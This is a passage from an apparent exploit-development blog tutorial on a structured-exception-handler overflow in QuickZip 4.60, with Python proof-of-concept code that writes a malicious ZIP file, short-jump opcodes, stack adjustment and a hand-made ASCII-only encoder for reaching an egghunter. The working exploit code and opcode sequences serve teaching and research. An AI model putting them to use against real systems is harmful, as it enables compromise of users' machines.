3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev"</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">".txt"</span>
</span><span class='line'>
</span><span class='line'><span class="k">print</span> <span class="s">"[+] Length = "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
</span><span class='line'>
</span><span class='line'><span class="n">exploit</span> <span class="o">=</span> <span class="n">header_1</span> <span class="o">+</span> <span class="n">payload</span> <span class="o">+</span> <span class="n">header_2</span> <span class="o">+</span> <span class="n">payload</span> <span class="o">+</span> <span class="n">header_3</span>
</span><span class='line'>
</span><span class='line'><span class="n">mefile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'cst.zip'</span><span class="p">,</span><span class="s">'w'</span><span class="p">);</span>
</span><span class='line'><span class="n">mefile</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">exploit</span><span class="p">);</span>
</span><span class='line'><span class="n">mefile</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span><span class='line'>
</span><span class='line'><span class="k">print</span> <span class="s">"[+] Exploit complete!"</span>
</span></code></pre></td></tr></table></div></figure>
<p>Let’s trigger the crash, pass execution to the program and execute <em>POP-POP-RET</em> instructions. After this, scroll up in the CPU window and try to find end of egghunter payload and long set of <code>INC ECX</code> instructions (representing A characters).</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/16%20found%20egghunter.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/16%20found%20egghunter.png" alt="image" /></a></p>
<p>Great, looks like it’s there and it appears to be correct as well - no bad characters were used!</p>
<h2>Jumping back</h2>
<p>Now, we have few more things to look after - the most important thing to remember here is that we need to put address of where the egghunter begins into the EAX and jump to it.</p>
<p>How can we do it having a limited space? Well, first of all - how much space do we have? Quick maths tells us that it’s <strong>146</strong> bytes (nseh offset minus the size of egghunter).</p>
<p>What can we do with 146 bytes? We only need to write few instructions, but they need to adhere to the limited character set we’re allowed to use. In this case, we cannot use a generic encoder that we already used for egghunter as we simply don’t have enough space to fit it in.</p>
<p>This leaves us with one option - we’ll need to create our own encoder! It sounds scary and complicated, but it’s actually a lot simpler than it seems.</p>
<p>But first, let’s see where we are in the program currently.</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/12.after%20pop%20pop%20ret.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/12.after%20pop%20pop%20ret.png" alt="image" /></a></p>
<p>So we only have <strong>4</strong> bytes at our disposal to jump back to the payload and start writing our custom encoder. Also, those 4 bytes would need to be, preferably, alphanumeric. Thankfully, there are few instructions we can use, specifically in situations like those!</p>
<p>Credit given where credit’s due - thanks to <a href="https://twitter.com/TheColonial">TheColonial</a> for sharing this very useful trick: <a href="http://buffered.io/posts/jumping-with-bad-chars/">http://buffered.io/posts/jumping-with-bad-chars/</a>.</p>
<p>In short, we can simply use <code>JO</code> and <code>JNO</code> instructions to invoke short jumps back into our payload. But how far can we jump? After some playing around with allowed characters I found that some of the bad characters are converted to <code>A2</code>, which translates to 92 in decimal… which should give us just enough space to allow us to create our custom encoder.</p>
<p>Let’s generate the required OPCODES with <code>metasm</code> and add them in our payload in place of nSEH.</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>metasm > jno $-99
</span><span class='line'>"\x71\x9b"
</span><span class='line'>metasm > jo $-99
</span><span class='line'>"\x70\x9b"</span></code></pre></td></tr></table></div></figure>
<p><em>Note:</em> <code>\x9b</code> (-99), since it’s a bad character, will actually be converted into <code>\xa2</code> (-92).</p>
<p>The portion of our PoC should now look like this:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='python'><span class='line'><span class="n">payload</span> <span class="o">=</span> <span class="n">egghunter</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="p">(</span><span class="n">nseh_offset</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span> <span class="c"># padding for nSEH</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x71\x9b\x70\x9b</span><span class="s">"</span> <span class="c"># nSEH: jno $-99; jo $-99 ==> 9b will actually be converted to A2, which is $-92</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x33\x28\x42\x00</span><span class="s">"</span> <span class="c"># SEH</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="n">pattern</span> <span class="c"># pattern to look for in memory</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">".txt"</span>
</span></code></pre></td></tr></table></div></figure>
<p>Let’s trigger the crash, pass execution to the program, step through the <em>POP-POP-RET</em> instructions and observe what happens when we step through the <code>JNO</code>/<code>JO</code> instructions.</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/17.jno%20jump%20taken.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/17.jno%20jump%20taken.png" alt="image" /></a></p>
<p>Awesome, the jump is taken and we land in our payload! Let’s now create our custom encoder to write instructions to jump to the egg hunting routine.</p>
<h2>Custom encoder</h2>
<p>We need to write several instructions to be able to jump to our egghunter, however, there is no way to write them directly without using bad characters.</p>
<p>To get around it we’ll need to do the following:</p>
<ol>
<li>Find out what are the opcodes of instructions we want to write</li>
<li>Using simple, mathematical instructions (namely <code>ADD</code> and <code>SUB</code>) we’ll place values of the opcodes from step above into a register of our choice (e.g. <code>EAX</code>) using only allowed characters</li>
<li>We’ll write value of this register onto the stack, effectively writing the instructions we want to the area pointed to by <code>ESP</code></li>
</ol>
<p>Sounds complicated? It’s actually not that bad and it makes a lot more sense once you start playing with it.</p>
<p>First of all, we need to adjust the stack to be able to write to the area of memory we control. Looking at the values of <code>ESP</code> and where we currently are (screenshot above), we need to offset the <code>ESP</code> by <code>0x62C</code> (<code>0x0018FB58</code> (value of <code>EIP</code>) minus <code>0x0018F528</code> (value of <code>ESP</code>) minus <code>0x4</code> (empty bytes for padding)).</p>
<p>This can be achieved using the following instructions:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>push esp;
</span><span class='line'>pop eax;
</span><span class='line'>add eax, 0x62C;
</span><span class='line'>push eax;
</span><span class='line'>pop esp;</span></code></pre></td></tr></table></div></figure>
<p>Corresponding OPCODES of above instructions are as follows:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>"\x54" # push esp;
</span><span class='line'>"\x58" # pop eax;
</span><span class='line'>"\x05\x2c\x06\x00\x00" # add eax, 0x62C
</span><span class='line'>"\x50" # push eax;
</span><span class='line'>"\x5c" # pop esp;</span></code></pre></td></tr></table></div></figure>
<p>However, we have a problem - “\x05\x2c\x06\x00\x00” has two <code>NULL</code> bytes, which would break our exploit.</p>
<p>However, we can easily fix it up by performing number of <code>ADD</code> and <code>SUB</code> instructions using valid characters to set the value we want, e.g.</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>\x05\x2d\x07\x01\x01 # add eax, 0x0101072D
</span><span class='line'>\x2d\x01\x01\x01\x01 # sub eax, 0x01010101
</span><span class='line'> # total: 0x00000630</span></code></pre></td></tr></table></div></figure>
<p>Voilà! We were able to achieve the same thing using valid characters. Let’s update the exploit and see what happens.</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/18.stack%20adjusted.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/18.stack%20adjusted.png" alt="image" /></a></p>
<p>Great, our payload does exactly what we need leaving us with adjusted stack, ready to start writing our encoder.</p>
<p><em>Note:</em> because of the <code>pop esp</code> instruction (<code>\x5c</code>), contents of our ZIP file look a little bit different. The <code>\x5c</code> represents a backslash, which is interpreted by QuickZip as a folder… this may have some implications later, but that’s OK for now.</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/19.quickzip%20folder.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/19.quickzip%20folder.png" alt="image" /></a></p>
<p>Now, the last thing we need to do is to write a set of instructions that put a start address of the egghunter into EAX and jump to it.</p>
<p>In order to avoid bad characters, we’ll set the values of opcodes we need in the <code>EAX</code> register and push it on the stack that we have adjusted. This way, the instructions we need will be written in the area we control.</p>
<p>It’s probably best explained using an example.</p>
<p>Let’s start off with what instructions do we actually want to write? The following will do exactly what we need:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>push esp;
</span><span class='line'>pop eax;
</span><span class='line'>sub eax, 0xDEADBEEF
</span><span class='line'>jmp eax;</span></code></pre></td></tr></table></div></figure>
<p>Pretty simple - push <code>ESP</code> on the stack, pop it into EAX, adjust it by a certain value to land in the egghunter (we don’t know the exact value, hence the placeholder <code>0xDEADBEEF</code> for now) and jump to the adjusted address from <code>EAX</code>.</p>
<p>Let’s generate the bytes we need:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>metasm > push esp
</span><span class='line'>"\x54"
</span><span class='line'>metasm > pop eax
</span><span class='line'>"\x58"
</span><span class='line'>metasm > sub eax, 0xDEADBEEF
</span><span class='line'>"\x2d\xef\xbe\xad\xde"
</span><span class='line'>metasm > jmp eax
</span><span class='line'>"\xff\xe0"</span></code></pre></td></tr></table></div></figure>
<p>And write them in groups of 4:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>\x54\x58\x2d\xef
</span><span class='line'>\xbe\xad\xde\xff
</span><span class='line'>\xe0\x90\x90\x90</span></code></pre></td></tr></table></div></figure>
<p>Since we’ll be writing 4 bytes at a time, we needed to pad it out with 3 nops (<code>\x90</code>) at the end (to put the total length of bytes to write to 12).</p>
<p>Now, let’s write the bytes starting from bottom-right (because <a href="https://en.wikipedia.org/wiki/Endianness">endianness</a>) - this will indicate the values that we actually need to push onto the stack.</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>\x90\x90\x90\xe0
</span><span class='line'>\xff\xde\xad\xbe
</span><span class='line'>\xef\x2d\x58\x54</span></code></pre></td></tr></table></div></figure>
<p>Remembering that we can only use ASCII values, that means that we should be able to use pretty much any combination of bytes from <code>01</code> to <code>7f</code> for our calculations.</p>
<p>Let’s come up with an exploit friendly instructions to write first set of bytes into eax:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class='python'><span class='line'> <span class="c"># zero out EAX</span>
</span><span class='line'><span class="s">"</span><span class="se">\x25\x10\x10\x10\x10</span><span class="s">"</span> <span class="c"># and eax,0x10101010</span>
</span><span class='line'><span class="s">"</span><span class="se">\x25\x01\x01\x01\x01</span><span class="s">"</span> <span class="c"># and eax,0x01010101</span>
</span><span class='line'> <span class="c"># write 0x909090e0 into EAX</span>
</span><span class='line'><span class="s">"</span><span class="se">\x05\x70\x70\x70\x70</span><span class="s">"</span> <span class="c"># add eax, 0x70707070</span>
</span><span class='line'><span class="s">"</span><span class="se">\x05\x70\x20\x20\x20</span><span class="s">"</span> <span class="c"># add eax, 0x20202070</span>
</span><span class='line'><span class="s">"</span><span class="se">\x50</span><span class="s">"</span> <span class="c"># push eax;</span>
</span></code></pre></td></tr></table></div></figure>
<p>Let’s update the exploit code and run it.</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/20.writing%20bytes%201.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/20.writing%20bytes%201.png" alt="image" /></a></p>
<p>Fantastic, we have successfully set the value we need in the EAX and pushed it onto the stack, what has actually written the instructions we need!</p>
<p>Let’s do the same for all remaining bytes.</p>
<p>After all that maths, the updated PoC should look as follows:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>